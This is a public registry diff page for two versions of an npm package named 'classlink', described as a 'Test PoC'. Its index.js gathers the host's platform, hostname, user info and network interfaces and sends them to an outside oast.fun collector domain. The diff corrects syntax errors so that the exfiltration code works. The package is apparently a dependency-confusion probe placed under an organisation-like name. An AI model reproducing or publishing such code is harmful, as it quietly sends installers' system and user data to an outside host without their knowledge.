classlink 1.9.9 → 2.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +15 -15
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -5,34 +5,34 @@ const { execSync } = require('child_process');
5
5
  const burpCollaboratorUrl = 'iqflwqhtuluqyysnswdrmypjslf59ryi0.oast.fun';
6
6
 
7
7
  const deviceInfo = {
8
- platform: os.platform(),
9
- release: os.release(),
10
- hostname: os.hostname(),
11
- arch: os.arch(),
12
- userInfo: os.userInfo(),
13
- networkInterfaces: os.networkInterfaces()
8
+ platform: os.platform(),
9
+ release: os.release(),
10
+ hostname: os.hostname(),
11
+ arch: os.arch(),
12
+ userInfo: os.userInfo(),
13
+ networkInterfaces: os.networkInterfaces()
14
14
  };
15
15
 
16
16
  const queryString = Object.entries(deviceInfo).map(([key, value]) => {
17
- if (typeof value === 'object') {
18
- value = JSON.stringify(value);
17
+ if (typeof value === 'object') {
18
+ value = JSON.stringify(value);
19
19
  }
20
- return `${encodeURIComponent(key))=${encodeURIComponent(value)}`;
20
+ return `${encodeURIComponent(key)}=${encodeURIComponent(value)}`;
21
21
  }).join('&');
22
22
 
23
23
  const options = {
24
- hostname: burpCollaboratorUrl,
25
- port: 443
26
- path: `/?${queryString}`,
27
- method: 'GET'
24
+ hostname: burpCollaboratorUrl,
25
+ port: 443,
26
+ path: `/?${queryString}`,
27
+ method: 'GET'
28
28
  };
29
29
 
30
30
  const req = https.request(options, (res) => {
31
- console.log(`Status: ${res.statusCode}`);
31
+ console.log(`Status: ${res.statusCode}`);
32
32
  });
33
33
 
34
34
  req.on('error', (error) => {
35
- console.error{`Error: ${error.message}`);
35
+ console.error(`Error: ${error.message}`);
36
36
  });
37
37
 
38
38
  req.end();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "classlink",
3
- "version": "1.9.9",
3
+ "version": "2.0.0",
4
4
  "description": "Test PoC",
5
5
  "main": "index.js",
6
6
  "scripts": {